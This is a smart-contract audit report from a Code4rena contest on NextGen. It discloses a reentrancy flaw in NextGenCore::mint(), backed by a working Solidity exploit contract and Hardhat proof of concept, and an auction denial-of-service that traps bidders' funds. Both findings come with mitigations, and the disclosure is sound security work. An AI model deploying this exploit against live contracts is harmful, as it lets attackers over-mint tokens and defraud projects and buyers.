NextGen - Tricko's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L189-L200 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L227-L232

Vulnerability details

Impact

Due to the fact that tokensMintedPerAddress and tokensMintedAllowlistAddress are only incremented after _mintProcessing() execution, an attacker can exploit reentrancy to mint how many tokens they want, thus bypassing maxCollectionPurchases and _maxAllowance, respectively.

Proof of Concept

Consider the snippet from the NextGenCore::mint() function. Note that both mappings tokensMintedPerAddress and tokensMintedAllowlistAddress, used to register how many tokens each address has minted, are only incremented after the call to _mintProcessing(). This allows attackers to exploit the fact that _mintProcessing() utilizes safeMint() and thus handles execution back to the receiving address (due to _checkOnERC721Received()), to call again mint(). Since, at this point , tokensMintedPerAddress or tokensMintedAllowlistAddress hasn't been incremented yet, the execution proceeds with outdated values. This process can be iterated as long as the attacker desires, enabling them to mint an arbitrary number of tokens, limited only by the maximum token count in a collection. This vulnerability applies to both the allowlist and public mint phases.

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
    require(msg.sender == minterContract, "Caller is not the Minter Contract");
    collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
    if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
        _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        if (phase == 1) {
            tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
        } else {
            tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
        }
    }
}

Consider the example below for a public mint scenario. First the attacker deploys the following contract. The modified onERC721Received() function allows the contract to call MinterContract::mint() when it is called by the _checkOnERC721Received() method from NextGenCore.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

contract Exploit {
    uint256 public mints;
    uint256 public counter;
    address public minter;
    uint256 public price;
    bytes public mintData;

    function config(uint256 _mints, address _minter) external {
        mints = _mints;
        minter = _minter;
    }

    function resetCounter() external {
        counter = 0;
    }

    function configMint(
        uint256 collectionId,
        uint256 numberOfTokens,
        uint256 maxAllowance,
        string calldata tokenData,
        address mintTo,
        bytes32[] calldata merkleProof,
        address delegator,
        uint256 _saltfun_o,
        uint256 _price
    ) external payable {
        price = _price;
        mintData = abi.encodeWithSignature(
            "mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)",
            collectionId,
            numberOfTokens,
            maxAllowance,
            tokenData,
            mintTo,
            merkleProof,
            delegator,
            _saltfun_o
        );
    }

    function mint() external {
        (bool success, ) = minter.call(mintData);
        require(success, "Mint failed");
    }

    function onERC721Received(
            address operator,
            address from,
            uint256 tokenId,
            bytes calldata data
    ) external returns (bytes4) {
        counter += 1;
        if (counter < mints) {
            (bool success, ) = minter.call(mintData);
            require(success, "Failed to mint");
        }
        return this.onERC721Received.selector;
    }
}

Then the attaker has to configure how many tokens he wants to mint, controlled by the mint parameter and call Exploit::mint(). See the hardhat test code below. Note that at the end the Exploit contract has minted 20 tokens, way above the maximum limit of two tokens per address set.

const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers")
const { expect } = require("chai")
const { ethers } = require("hardhat")
const fixturesDeployment = require("../scripts/fixturesDeployment.js")

let signers
let contracts

describe("Reentrancy POC", function () {
  before(async function () {
    ;({ signers, contracts } = await loadFixture(fixturesDeployment))
  })

  it("Mint above _maxCollectionPurchases", async function () {
    // START OF SETUP
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"],
    )

    await contracts.hhAdmin.registerCollectionAdmin(
      1,
      signers.addr1.address,
      true,
    )

    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      1, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      2, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0, // _setFinalSupplyTimeAfterMint
    )

    await contracts.hhCore.addMinterContract(
      contracts.hhMinter,
    )

    await contracts.hhCore.addRandomizer(
      1, contracts.hhRandomizer,
    )

    await contracts.hhMinter.setCollectionCosts(
      1, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      0, // _timePeriod
      1, // _salesOptions
      '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
    )
    
    await contracts.hhMinter.setCollectionPhases(
      1, // _collectionID
      1609810637, // _allowlistStartTime
      1609810638, // _allowlistEndTime
      1609810639, // _publicStartTime
      1796931278, // _publicEndTime
      "0x6a526ce5747bbf2c42fee90301d0e7bbec4240dc432ebe23e863f10b80f7fff8", // _merkleRoot
    )

    const Exploit = await ethers.getContractFactory("Exploit")
    const exploit = await Exploit.deploy()
    const exploitAddress = await exploit.getAddress()
    const minterAddress = await contracts.hhMinter.getAddress()

    // END OF SETUP

    // Attacker configure how much tokens he want to mint (20)
    // and the address of the minter contract
    await exploit.config(20, minterAddress)

    // Attacker configure the call to MinterContract::mint()
    await exploit.configMint(
      1,
      1,
      0,
      '{"name":"hello"}', // _tokenData
      exploitAddress, // _mintTo
      ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"],
      signers.addr1.address, //signers.addr1.address, // _delegator
      2, //_varg0
      0
    )

    // Attacker initiates the reentrancy chain.
    await exploit.mint()

    // Check that attacker has minted sucessfully 20 tokens.
    const balance = await contracts.hhCore.balanceOf(exploitAddress)
    expect(parseInt(balance)).to.equal(20);
  })
})

Tools Used

Manual Review.

Recommended Mitigation Steps

Consider following the Checks-Effects-Interactions pattern and increment tokensMintedPerAddress and tokensMintedAllowlistAddress before the call to _mintProcessing().

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

If the highest bidder's address in the auction belongs to a contract that does not implement the onERC721Received() function, calling claimAuction() becomes impossible. Consequently, the remaining funds from bids become trapped in the auction contract. This vulnerability can be exploited by an attacker who deliberately uses a contract without implementing the required function and aims to become the highest bidder, thereby blocking the refund process.

Proof of Concept

Suppose an attacker employs a contract that does not implements onERC721Received() to call AuctionDemo::participateToAuction() and manage to bid high enough to become the highest bidder. In this scenario when the AuctionDemo::claimAuction() function is invoked to process the token transfer and refund remaining active bids, the call will revert due to the use of safeTransferFrom(). It's important to note that this scenario can also occur unintentionally if the highest bidder's address is a contract that lacks the required ERC721Receiver functionality.

Since the auction has ended (block.timestamp <= minter.getAuctionEndTime(_tokenId)), and there is no alternative method for bidders to retrieve their funds (as cancelBid and cancelAllBids are disabled when auctions ends), the token and all funds become permanently trapped within the contract. Thefore this issue is classified as high severity, as any attacker can exploit this vulnerability intentionally, effectively freezing all funds in the contract.

Tools Used

Manual Review.

Recommended Mitigation Steps

Consider using transferFrom() instead of safeTransferFrom().

Assessed type

ERC721